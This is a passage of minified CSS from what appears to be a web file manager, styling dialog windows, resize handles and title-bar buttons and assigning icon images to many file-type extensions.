rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui-state-lock .aui-nw,.aui-state-lock .aui-n,.aui-state-lock .aui-ne,.aui-state-lock .aui-w,.aui-state-lock .aui-e,.aui-state-lock .aui-sw,.aui-state-lock .aui-s,.aui-state-lock .aui-se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui-title-bar{position:relative;height:100%;}.aui-title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui-state-focus .aui-mask{display:none;}.aui-state-focus .aui-outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui-state-focus .aui-title{background-color:#63acff;}.aui-state-drag .aui-title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui-min,.aui-max,.aui-close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui-min:hover,.aui-max:hover,.aui-close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui-close:hover{background:#cc0000;}.aui-min{right:82px;content:"\f068";}.aui-max{right:43px;content:"\f065";}.aui-close{right:5px;content:"\f00d";}.aui-min:before{content:"\f068";}.aui-max:before{content:"\f065";}.aui-close:before{content:"\f00d";}.aui-max,.aui-min{display:none;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-se{width:5px;height:5px;}.aui-state-no-title .aui-title-bar{bottom:0;_bottom:0;_margin-top:0;}.aui-state-no-title .aui-outer{box-shadow:none !important;border:none !important;}.aui-state-no-title .aui-inner{border:1px solid #aaa;}.aui-state-no-title .tips{padding:15px;padding-left:10px;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-n,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-w,.aui-state-no-title .aui-e,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-s,.aui-state-no-title .aui-se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui-state-no-title .aui-close,.aui-state-no-title .aui-max,.aui-state-no-title .aui-min{display:none;font-size:1em;}.dialog-max .aui-nw,.dialog-max .aui-ne,.dialog-max .aui-sw,.dialog-max .aui-se,.dialog-max .aui-w,.dialog-max .aui-e{width:0px;}.dialog-max .aui-sw,.dialog-max .aui-n,.dialog-max .aui-se{height:0px;}.dialog-max .aui-outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:999999;display:block;}.dialog-can-resize .resize-top{cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui-min,.dialog-can-resize .aui-max{display:block;}.dialog-min-size{width:250px !important;height:30px !important;}.dialog-min-size.dialog-no-title .aui-title,.dialog-min-size .aui-title{opacity:1 !important;}.dialog-min-size .aui-outer{width:250px;}.dialog-min-size .aui-header{height:30px;}.dialog-min-size .aui-title{text-align:left;padding-left:10px;}.dialog-min-size .aui-main,.dialog-min-size .aui-footer{display:none;}.dialog-min-size .resize-handle{display:none;}.dialog-no-title .aui-title-bar{position:absolute;z-index:99999;width:100%;height:30px;top:0;}.dialog-no-title .aui-title{opacity:0.01 !important;filter:alpha(opacity=1) !important;}.dialog-no-title .aui-inner{border:none;}.dialog-no-title .aui-nw,.dialog-no-title .aui-n,.dialog-no-title .aui-ne,.dialog-no-title .aui-w,.dialog-no-title .aui-e,.dialog-no-title .aui-sw,.dialog-no-title .aui-s,.dialog-no-title .aui-se{display:none;}.dialog-no-title .aui-outer .aui-min{right:80px;}.dialog-no-title .aui-outer .aui-min:before{content:"\f068" !important;}.dialog-no-title .aui-outer .aui-max{right:40px;}.dialog-no-title .aui-outer .aui-max:before{content:"\f065" !important;}.dialog-no-title .aui-outer .aui-close{right:0px;}.dialog-no-title .aui-outer .aui-close:before{content:"\f00d" !important;}.dialog-no-title .aui-outer .aui-min,.dialog-no-title .aui-outer .aui-max,.dialog-no-title .aui-outer .aui-close{display:block;position:absolute;text-decoration:none;outline:none;font-size:1.25em;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;color:#fff;top:0px;cursor:pointer;height:30px;line-height:30px;text-align:center;background-color:transparent;width:40px;font-family:FontAwesome;border:none;background-image:none;border-radius:0;}.dialog-no-title .aui-outer .aui-min:hover,.dialog-no-title .aui-outer .aui-max:hover,.dialog-no-title .aui-outer .aui-close:hover{color:#fff;border:none;box-shadow:none;background:#41acf8;background:rgba(0,0,0,0.4);}.dialog-no-title .aui-outer .aui-close:hover{background:#e81123;background:rgba(232,17,35,0.8);}.dialog-no-title.header-bg .aui-content .header{height:90px;background-color:#008def;background-image:linear-gradient(to bottom,#084998 0,#00a9fb 100%);color:#fff;position:relative;}.dialog-no-title.header-bg .aui-content .header .bg{background:url("../../../images/common/banner/box.png") 180px -220px no-repeat;width:100%;height:100%;position:absolute;opacity:0.7;}.dialog-no-title.dialog-max .aui-outer .aui-max{right:40px;}.dialog-no-title.dialog-max .aui-outer .aui-max:before{content:"\f066" !important;}body div.dialog-simple .aui-title-bar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui-border{border:none;overflow:auto;}body div.dialog-simple .aui-outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui-inner{border:none;background:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-n,body div.dialog-simple .aui-ne,body div.dialog-simple .aui-w,body div.dialog-simple .aui-e,body div.dialog-simple .aui-sw,body div.dialog-simple .aui-s,body div.dialog-simple .aui-se{background:none;}body div.dialog-simple .aui-title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui-min,body div.dialog-simple .aui-max,body div.dialog-simple .aui-close{border:none;top:5px;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui-min:hover,body div.dialog-simple .aui-max:hover,body div.dialog-simple .aui-close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui-min:active,body div.dialog-simple .aui-max:active,body div.dialog-simple .aui-close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui-main{background:none !important;}body div.dialog-simple .aui-max{right:30px;}body div.dialog-simple .aui-min{right:56px;}body div.dialog-simple .aui-dialog,body div.dialog-simple .aui-border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui-header{opacity:0.01;filter:alpha(opacity=1);border:1px solid rgba(0,0,0,0.01);border-bottom:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-ne{height:0px;}body div.dialog-simple.aui-state-drag .aui-header,body div.dialog-simple .dialog-mouse-in .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui-state-drag .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialog-max .aui-header{opacity:1.0;filter:alpha(opacity=100);}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.file-list-icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary-box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.file-list-list .file .ico .x-item-file,.file-list-split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task-tab .tabs .tab .x-item-file,.task-tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui-title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit-tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:12px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.context-menu-list .context-menu-item img.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;background:none;margin-right:12px;height:auto;}.aui-title .x-item-file.x-font-icon{font-size:12px;line-height:18px;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass,.x-lrc{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m,.x-nc{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-7z,.x-apk,.x-ace,.x-arj,.x-bza,.x-cab,.x-cxr,.x-dgc,.x-gca,.x-gz,.x-gza,.x-iso,.x-jar,.x-lzh,.x-rar,.x-rk,.x-tar,.x-tbz,.x-tgz,.x-tlz,.x-txz,.x-yz1,.x-zip{background-image:url("../../../images/file_icon/icon_file/zip_all.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-7z{background-image:url("../../../images/file_icon/icon_file/7z.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none 